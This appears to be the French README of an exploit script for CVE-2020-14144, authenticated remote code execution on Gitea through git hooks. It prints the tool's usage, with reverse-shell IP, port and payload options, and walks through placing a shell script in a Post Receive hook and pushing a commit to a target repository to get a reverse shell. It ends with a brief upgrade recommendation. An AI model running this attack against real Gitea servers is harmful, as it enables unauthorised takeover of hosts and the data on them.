
Un script pour exploiter CVE-2020-14144 - Exécution de code à distance authentifiée sur GiTea à l'aide de git hooks
Un script pour exploiter CVE-2020-14144 - Exécution de code à distance authentifiée sur GiTea via les hooks git
-f$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
Pour exploiter avec succès cette vulnérabilité/fonctionnalité, la version du serveur cible GiTea doit être comprise entre la version 1.1.0 et la version 1.13, et vous avez besoin d'un compte valide (nom d'utilisateur, mot de passe) avec les droits "Peut créer des hooks git" activés.

Du point de vue de l'administration système, le processus gitea ressemble à ceci avant l'exploitation :

Tout d'abord, nous devons créer un dépôt sur l'interface web de GiTea, en utilisant notre compte. Nous créons le dépôt et nous allons dans Paramètres -> Hooks Git -> Post Receive Hook. Dans ce hook, vous pouvez écrire un script shell qui sera exécuté après la réception d'un nouveau commit.

Maintenant, nous allons créer un répertoire temporaire sur notre machine d'attaque, et pousser vers le dépôt distant. Cela déclenchera le script Post Receive Hook.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
Après avoir poussé le commit vers le dépôt distant, cela déclenchera le script Post Receive Hook et nous obtiendrons un reverse shell !

Après l'exploitation, un administrateur système peut facilement voir notre reverse shell détaché dans les processus fils de GiTea :

Il est recommandé de mettre à jour vers la version 1.13.0 au minimum.
Les pull requests sont les bienvenues. N'hésitez pas à ouvrir une issue si vous souhaitez ajouter d'autres fonctionnalités.